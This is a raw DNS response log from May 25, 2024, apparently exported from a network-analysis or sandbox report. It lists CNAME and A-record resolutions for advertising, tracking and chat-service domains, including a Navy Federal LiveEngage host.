May 25, 2024 00:46:07.061013937 CEST	1.1.1.1	192.168.2.6	0xb276	No error (0)	d.agkn.com	data.agkn.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.061013937 CEST	1.1.1.1	192.168.2.6	0xb276	No error (0)	data.agkn.com	tag-terraform-elb-1705565586.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.061013937 CEST	1.1.1.1	192.168.2.6	0xb276	No error (0)	tag-terraform-elb-1705565586.eu-central-1.elb.amazonaws.com		3.76.144.165	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.061013937 CEST	1.1.1.1	192.168.2.6	0xb276	No error (0)	tag-terraform-elb-1705565586.eu-central-1.elb.amazonaws.com		18.158.34.148	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.061045885 CEST	1.1.1.1	192.168.2.6	0x256e	No error (0)	d.agkn.com	data.agkn.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.061045885 CEST	1.1.1.1	192.168.2.6	0x256e	No error (0)	data.agkn.com	tag-terraform-elb-1705565586.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.407080889 CEST	1.1.1.1	192.168.2.6	0x5165	No error (0)	accdn.lpsnmedia.net	geo.accdn.livepersonk.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.414597988 CEST	1.1.1.1	192.168.2.6	0xe04a	No error (0)	accdn.lpsnmedia.net	geo.accdn.livepersonk.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.455338001 CEST	1.1.1.1	192.168.2.6	0xd0b5	No error (0)	liveengage.navyfederal.org	lpcdn.lpsnmedia.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.455338001 CEST	1.1.1.1	192.168.2.6	0xd0b5	No error (0)	lpcdn.lpsnmedia.net	ipv4geo.lpcdn.lpsnmedia.livepersonk.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.469449997 CEST	1.1.1.1	192.168.2.6	0xd3b	No error (0)	pixel.tapad.com		34.111.113.62	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.480488062 CEST	1.1.1.1	192.168.2.6	0xf74	No error (0)	liveengage.navyfederal.org	lpcdn.lpsnmedia.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.480488062 CEST	1.1.1.1	192.168.2.6	0xf74	No error (0)	lpcdn.lpsnmedia.net	ipv4geo.lpcdn.lpsnmedia.livepersonk.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.820658922 CEST	1.1.1.1	192.168.2.6	0x1c0a	No error (0)	sync.outbrain.com	alldcs.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.820658922 CEST	1.1.1.1	192.168.2.6	0x1c0a	No error (0)	alldcs.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.820658922 CEST	1.1.1.1	192.168.2.6	0x1c0a	No error (0)	nydc1.outbrain.org		64.202.112.31	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.820676088 CEST	1.1.1.1	192.168.2.6	0x8d29	No error (0)	sync.outbrain.com	alldcs.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.820676088 CEST	1.1.1.1	192.168.2.6	0x8d29	No error (0)	alldcs.outbrain.org	chidc2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:08.178359032 CEST	1.1.1.1	192.168.2.6	0x86f3	No error (0)	sync.intentiq.com		18.239.69.3	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:08.178359032 CEST	1.1.1.1	192.168.2.6	0x86f3	No error (0)	sync.intentiq.com		18.239.69.109	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:08.178359032 CEST	1.1.1.1	192.168.2.6	0x86f3	No error (0)	sync.intentiq.com		18.239.69.49	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:08.178359032 CEST	1.1.1.1	192.168.2.6	0x86f3	No error (0)	sync.intentiq.com		18.239.69.99	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:08.220705986 CEST	1.1.1.1	192.168.2.6	0xdd48	No error (0)	eb2.3lift.com	eu-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:08.220705986 CEST	1.1.1.1	192.168.2.6	0xdd48	No error (0)	eu-eb2.3lift.com		13.248.245.213	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:08.220705986 CEST	1.1.1.1	192.168.2.6	0xdd48	No error (0)	eu-eb2.3lift.com		76.223.111.18	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:08.228271008 CEST	1.1.1.1	192.168.2.6	0xfaf5	No error (0)	eb2.3lift.com	eu-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:08.228283882 CEST	1.1.1.1	192.168.2.6	0xa2ef	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:08.228293896 CEST	1.1.1.1	192.168.2.6	0xe51f	No error (0)	www.google.com			65	IN (0x0001)	false
May 25, 2024 00:46:08.405867100 CEST	1.1.1.1	192.168.2.6	0x556a	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:08.405867100 CEST	1.1.1.1	192.168.2.6	0x556a	No error (0)	sync.1rx.io		46.228.174.117	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:08.405884981 CEST	1.1.1.1	192.168.2.6	0x7fc0	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:09.180424929 CEST	1.1.1.1	192.168.2.6	0xef5c	No error (0)	fei.pro-market.net		107.178.240.89	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.290596008 CEST	1.1.1.1	192.168.2.6	0x7628	No error (0)	sync1.intentiq.com		18.239.69.99	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.290596008 CEST	1.1.1.1	192.168.2.6	0x7628	No error (0)	sync1.intentiq.com		18.239.69.3	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.290596008 CEST	1.1.1.1	192.168.2.6	0x7628	No error (0)	sync1.intentiq.com		18.239.69.109	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.290596008 CEST	1.1.1.1	192.168.2.6	0x7628	No error (0)	sync1.intentiq.com		18.239.69.49	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.503113031 CEST	1.1.1.1	192.168.2.6	0x6b1b	No error (0)	loadm.exelator.com	loadus.tm.ssl.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:09.503113031 CEST	1.1.1.1	192.168.2.6	0x6b1b	No error (0)	loadus.tm.ssl.exelator.com	eu-west.load.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:09.503113031 CEST	1.1.1.1	192.168.2.6	0x6b1b	No error (0)	eu-west.load.exelator.com	load-euw1.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:09.503113031 CEST	1.1.1.1	192.168.2.6	0x6b1b	No error (0)	load-euw1.exelator.com		34.254.143.3	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.503146887 CEST	1.1.1.1	192.168.2.6	0x87ba	No error (0)	loadm.exelator.com	loadus.tm.ssl.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:09.503146887 CEST	1.1.1.1	192.168.2.6	0x87ba	No error (0)	loadus.tm.ssl.exelator.com	eu-west.load.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:09.503146887 CEST	1.1.1.1	192.168.2.6	0x87ba	No error (0)	eu-west.load.exelator.com	load-euw1.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:09.915144920 CEST	1.1.1.1	192.168.2.6	0xbcf9	No error (0)	um.simpli.fi		35.204.158.49	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.915144920 CEST	1.1.1.1	192.168.2.6	0xbcf9	No error (0)	um.simpli.fi		34.91.62.186	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.915144920 CEST	1.1.1.1	192.168.2.6	0xbcf9	No error (0)	um.simpli.fi		35.204.74.118	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.915189981 CEST	1.1.1.1	192.168.2.6	0x1152	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:09.915189981 CEST	1.1.1.1	192.168.2.6	0x1152	No error (0)	sync.1rx.io		46.228.174.117	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:09.915203094 CEST	1.1.1.1	192.168.2.6	0x9e15	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:11.009028912 CEST	1.1.1.1	192.168.2.6	0xc4a5	No error (0)	sync.bfmio.com	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:11.009028912 CEST	1.1.1.1	192.168.2.6	0xc4a5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.70.157.54	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.009028912 CEST	1.1.1.1	192.168.2.6	0xc4a5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.5.182.167	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.009028912 CEST	1.1.1.1	192.168.2.6	0xc4a5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.45.205.226	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.009028912 CEST	1.1.1.1	192.168.2.6	0xc4a5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.72.72.214	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.009028912 CEST	1.1.1.1	192.168.2.6	0xc4a5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.54.209.100	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.009028912 CEST	1.1.1.1	192.168.2.6	0xc4a5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.6.113.5	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.009028912 CEST	1.1.1.1	192.168.2.6	0xc4a5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.4.77.65	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.009028912 CEST	1.1.1.1	192.168.2.6	0xc4a5	No error (0)	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		52.54.0.136	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.022633076 CEST	1.1.1.1	192.168.2.6	0x2dd1	No error (0)	sync.bfmio.com	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:11.031907082 CEST	1.1.1.1	192.168.2.6	0x569d	No error (0)	sync1.intentiq.com		52.222.149.58	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.031907082 CEST	1.1.1.1	192.168.2.6	0x569d	No error (0)	sync1.intentiq.com		52.222.149.10	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.031907082 CEST	1.1.1.1	192.168.2.6	0x569d	No error (0)	sync1.intentiq.com		52.222.149.75	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.031907082 CEST	1.1.1.1	192.168.2.6	0x569d	No error (0)	sync1.intentiq.com		52.222.149.36	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.261581898 CEST	1.1.1.1	192.168.2.6	0x401d	No error (0)	cms.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:11.261581898 CEST	1.1.1.1	192.168.2.6	0x401d	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:11.261581898 CEST	1.1.1.1	192.168.2.6	0x401d	No error (0)	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:11.261581898 CEST	1.1.1.1	192.168.2.6	0x401d	No error (0)	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		3.75.62.37	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.261581898 CEST	1.1.1.1	192.168.2.6	0x401d	No error (0)	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		3.71.149.231	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.261619091 CEST	1.1.1.1	192.168.2.6	0x5bca	No error (0)	stags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:11.261662960 CEST	1.1.1.1	192.168.2.6	0x99b8	No error (0)	stags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:11.280003071 CEST	1.1.1.1	192.168.2.6	0x6aec	No error (0)	cms.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:11.280003071 CEST	1.1.1.1	192.168.2.6	0x6aec	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:11.280003071 CEST	1.1.1.1	192.168.2.6	0x6aec	No error (0)	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:11.289766073 CEST	1.1.1.1	192.168.2.6	0x38db	No error (0)	bcp.crwdcntrl.net		52.49.45.15	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.289766073 CEST	1.1.1.1	192.168.2.6	0x38db	No error (0)	bcp.crwdcntrl.net		63.33.74.9	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.289766073 CEST	1.1.1.1	192.168.2.6	0x38db	No error (0)	bcp.crwdcntrl.net		52.48.217.227	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.289766073 CEST	1.1.1.1	192.168.2.6	0x38db	No error (0)	bcp.crwdcntrl.net		54.77.98.227	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.289766073 CEST	1.1.1.1	192.168.2.6	0x38db	No error (0)	bcp.crwdcntrl.net		52.17.40.72	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.289766073 CEST	1.1.1.1	192.168.2.6	0x38db	No error (0)	bcp.crwdcntrl.net		34.255.81.198	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.289766073 CEST	1.1.1.1	192.168.2.6	0x38db	No error (0)	bcp.crwdcntrl.net		34.250.113.16	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:11.289766073 CEST	1.1.1.1	192.168.2.6	0x38db	No error (0)	bcp.crwdcntrl.net		54.220.158.112	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.248845100 CEST	1.1.1.1	192.168.2.6	0x45e4	No error (0)	ce.lijit.com	ce-ew1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:12.248845100 CEST	1.1.1.1	192.168.2.6	0x45e4	No error (0)	ce-ew1.lijit.com	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:12.248845100 CEST	1.1.1.1	192.168.2.6	0x45e4	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		34.242.54.113	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.248845100 CEST	1.1.1.1	192.168.2.6	0x45e4	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		54.171.72.23	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.248845100 CEST	1.1.1.1	192.168.2.6	0x45e4	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		63.34.123.255	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.248845100 CEST	1.1.1.1	192.168.2.6	0x45e4	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		52.213.68.198	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.248845100 CEST	1.1.1.1	192.168.2.6	0x45e4	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		63.33.250.172	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.248845100 CEST	1.1.1.1	192.168.2.6	0x45e4	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		54.75.221.163	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.248845100 CEST	1.1.1.1	192.168.2.6	0x45e4	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		99.81.251.119	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.248845100 CEST	1.1.1.1	192.168.2.6	0x45e4	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		52.19.204.214	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.260559082 CEST	1.1.1.1	192.168.2.6	0x118c	No error (0)	ce.lijit.com	ce-ew1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:12.260559082 CEST	1.1.1.1	192.168.2.6	0x118c	No error (0)	ce-ew1.lijit.com	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:12.454210997 CEST	1.1.1.1	192.168.2.6	0x1e0f	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:12.454210997 CEST	1.1.1.1	192.168.2.6	0x1e0f	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:12.454210997 CEST	1.1.1.1	192.168.2.6	0x1e0f	No error (0)	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:12.454210997 CEST	1.1.1.1	192.168.2.6	0x1e0f	No error (0)	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		3.71.149.231	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.454210997 CEST	1.1.1.1	192.168.2.6	0x1e0f	No error (0)	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		3.75.62.37	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:12.454226971 CEST	1.1.1.1	192.168.2.6	0xf79a	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:12.454226971 CEST	1.1.1.1	192.168.2.6	0xf79a	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:12.454226971 CEST	1.1.1.1	192.168.2.6	0xf79a	No error (0)	prod.ups-ats.eu-central-1.aolp-ds-prd.aws.oath.cloud	ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:12.647211075 CEST	1.1.1.1	192.168.2.6	0x9f3b	No error (0)	va.v.liveperson.net	geo.va-v.livepersonk.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:12.647223949 CEST	1.1.1.1	192.168.2.6	0xbd8	No error (0)	va.v.liveperson.net	geo.va-v.livepersonk.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:12.656974077 CEST	1.1.1.1	192.168.2.6	0xcf00	No error (0)	stags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:12.656984091 CEST	1.1.1.1	192.168.2.6	0xc9ee	No error (0)	stags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:13.907366991 CEST	1.1.1.1	192.168.2.6	0x2527	No error (0)	idsync.rlcdn.com		35.244.174.68	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:13.983414888 CEST	1.1.1.1	192.168.2.6	0xbc22	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:13.983433962 CEST	1.1.1.1	192.168.2.6	0x7d31	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:15.900526047 CEST	1.1.1.1	192.168.2.6	0x23b8	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:15.900526047 CEST	1.1.1.1	192.168.2.6	0x23b8	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:15.900547981 CEST	1.1.1.1	192.168.2.6	0xa29f	No error (0)	pbid.pro-market.net		107.178.240.89	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.620652914 CEST	1.1.1.1	192.168.2.6	0x4168	No error (0)	pippio.com		107.178.254.65	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.740106106 CEST	1.1.1.1	192.168.2.6	0x3745	No error (0)	bcp.crwdcntrl.net		54.220.158.112	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.740106106 CEST	1.1.1.1	192.168.2.6	0x3745	No error (0)	bcp.crwdcntrl.net		18.202.122.123	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.740106106 CEST	1.1.1.1	192.168.2.6	0x3745	No error (0)	bcp.crwdcntrl.net		34.250.113.16	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.740106106 CEST	1.1.1.1	192.168.2.6	0x3745	No error (0)	bcp.crwdcntrl.net		52.49.45.15	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.740106106 CEST	1.1.1.1	192.168.2.6	0x3745	No error (0)	bcp.crwdcntrl.net		63.33.74.9	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.740106106 CEST	1.1.1.1	192.168.2.6	0x3745	No error (0)	bcp.crwdcntrl.net		52.48.217.227	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.740106106 CEST	1.1.1.1	192.168.2.6	0x3745	No error (0)	bcp.crwdcntrl.net		54.77.98.227	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.740106106 CEST	1.1.1.1	192.168.2.6	0x3745	No error (0)	bcp.crwdcntrl.net		34.255.81.198	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834640026 CEST	1.1.1.1	192.168.2.6	0xed09	No error (0)	ib.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:16.834640026 CEST	1.1.1.1	192.168.2.6	0xed09	No error (0)	ib.anycast.adnxs.com		37.252.171.21	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834640026 CEST	1.1.1.1	192.168.2.6	0xed09	No error (0)	ib.anycast.adnxs.com		37.252.171.52	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834640026 CEST	1.1.1.1	192.168.2.6	0xed09	No error (0)	ib.anycast.adnxs.com		37.252.172.123	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834640026 CEST	1.1.1.1	192.168.2.6	0xed09	No error (0)	ib.anycast.adnxs.com		37.252.171.53	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834640026 CEST	1.1.1.1	192.168.2.6	0xed09	No error (0)	ib.anycast.adnxs.com		37.252.171.85	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834640026 CEST	1.1.1.1	192.168.2.6	0xed09	No error (0)	ib.anycast.adnxs.com		37.252.171.149	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834640026 CEST	1.1.1.1	192.168.2.6	0xed09	No error (0)	ib.anycast.adnxs.com		37.252.173.215	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834656954 CEST	1.1.1.1	192.168.2.6	0x2764	No error (0)	ce.lijit.com	ce-ew1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:16.834656954 CEST	1.1.1.1	192.168.2.6	0x2764	No error (0)	ce-ew1.lijit.com	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:16.834656954 CEST	1.1.1.1	192.168.2.6	0x2764	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		52.19.204.214	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834656954 CEST	1.1.1.1	192.168.2.6	0x2764	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		99.81.251.119	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834656954 CEST	1.1.1.1	192.168.2.6	0x2764	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		54.246.141.221	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834656954 CEST	1.1.1.1	192.168.2.6	0x2764	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		52.16.234.114	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834656954 CEST	1.1.1.1	192.168.2.6	0x2764	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		52.17.69.168	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834656954 CEST	1.1.1.1	192.168.2.6	0x2764	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		52.213.68.198	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834656954 CEST	1.1.1.1	192.168.2.6	0x2764	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		18.202.254.222	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834656954 CEST	1.1.1.1	192.168.2.6	0x2764	No error (0)	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		63.33.250.172	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:16.834666014 CEST	1.1.1.1	192.168.2.6	0x5270	No error (0)	ce.lijit.com	ce-ew1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:16.834666014 CEST	1.1.1.1	192.168.2.6	0x5270	No error (0)	ce-ew1.lijit.com	raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:17.270762920 CEST	1.1.1.1	192.168.2.6	0xd5c7	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:17.278147936 CEST	1.1.1.1	192.168.2.6	0xa0c2	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:17.302122116 CEST	1.1.1.1	192.168.2.6	0x7fea	No error (0)	pbid.pro-market.net		107.178.240.89	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:17.418736935 CEST	1.1.1.1	192.168.2.6	0x9b53	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:17.418736935 CEST	1.1.1.1	192.168.2.6	0x9b53	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:17.418751955 CEST	1.1.1.1	192.168.2.6	0xe62f	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:17.418751955 CEST	1.1.1.1	192.168.2.6	0xe62f	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:17.608575106 CEST	1.1.1.1	192.168.2.6	0x6d54	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
